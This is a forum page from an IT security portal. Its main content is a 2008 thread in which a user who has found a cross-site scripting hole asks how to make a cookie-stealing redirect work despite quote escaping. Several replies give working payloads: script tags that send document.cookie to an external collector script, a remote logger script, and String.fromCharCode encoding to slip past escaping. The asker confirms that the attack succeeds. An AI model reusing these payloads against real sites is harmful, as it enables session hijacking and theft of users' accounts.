Waraxe IT Security Portal
Login or Register
November 17, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 92
Members: 0
Total: 92
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Cant redirect with my xss
Post new topicReply to topic View previous topic :: View next topic
Cant redirect with my xss
PostPosted: Fri Mar 21, 2008 12:50 am Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Hi all,

I have found a XSS :
Quote:
&div=%3Cscript%3Ealert(document.cookie)%3C/script%3E


My php script works well when i test it, but the problem is that i cant redirect to my page with the xss.

i have test

Code:
&div=<script>document.location='http://site.com/cookie.php?cookie='+document.cookie;</script>

Code:
&div=<script>window.location.replace('http://site.com/cookie.php?cookie='+document.cookie);</script>


Actually, i think the problem comes from the ', it is replaced by \' . Is there a way to make it work?
View user's profile Send private message
PostPosted: Fri Mar 21, 2008 1:05 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




Maybe
<script>location.replace(\'http://site.com/cookie.php?cookie=\'+document.cookie)</script>

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Fri Mar 21, 2008 2:01 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Use javascript string manipulation functions. Example:

Code:

String.fromCharCode(88,83,83)


... will produce string "XSS".

More ideas:

http://ha.ckers.org/xss.html

Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Mar 21, 2008 10:18 am Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Thx waraxe, i'm now able to put single quote in my url, but now the problem is that the link is like http://site.com/something/'myurl'.
I cant exit the site to make the redirection on my script. Have you some idea to exit the http://site.com/something/ ?
View user's profile Send private message
Re: Cant redirect with my xss
PostPosted: Fri Mar 21, 2008 12:30 pm Reply with quote
Oilik
Active user
Active user
Joined: Mar 05, 2008
Posts: 35




Have you tried
Code:

&div=<script src=http://site.com/cookieLogger.js>

and in http://site.com/cookieLogger.js, put
Code:
document.location='http://site.com/logCookie.php?cookie=' + document.cookie;


Edit:
gibbocool wrote:
Maybe
<script>location.replace(\'http://site.com/cookie.php?cookie=\'+document.cookie)</script>

if the site is in PHP, wouldn't it just replace that string with:
Code:
<script>location.replace(\\\'http://site.com/cookie.php?cookie=\\\'+document.cookie)</script>

?

That's happened to me a lot Sad
View user's profile Send private message
PostPosted: Fri Mar 21, 2008 12:45 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




To avoid the \' you have to use String.fromCharCode(88,83 etc) like waraxe said.
Yeah it is working now ^^ When i use the String fonction, i didnt need the simple quote, without it is working ^^
View user's profile Send private message
Cant redirect with my xss
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.035 Seconds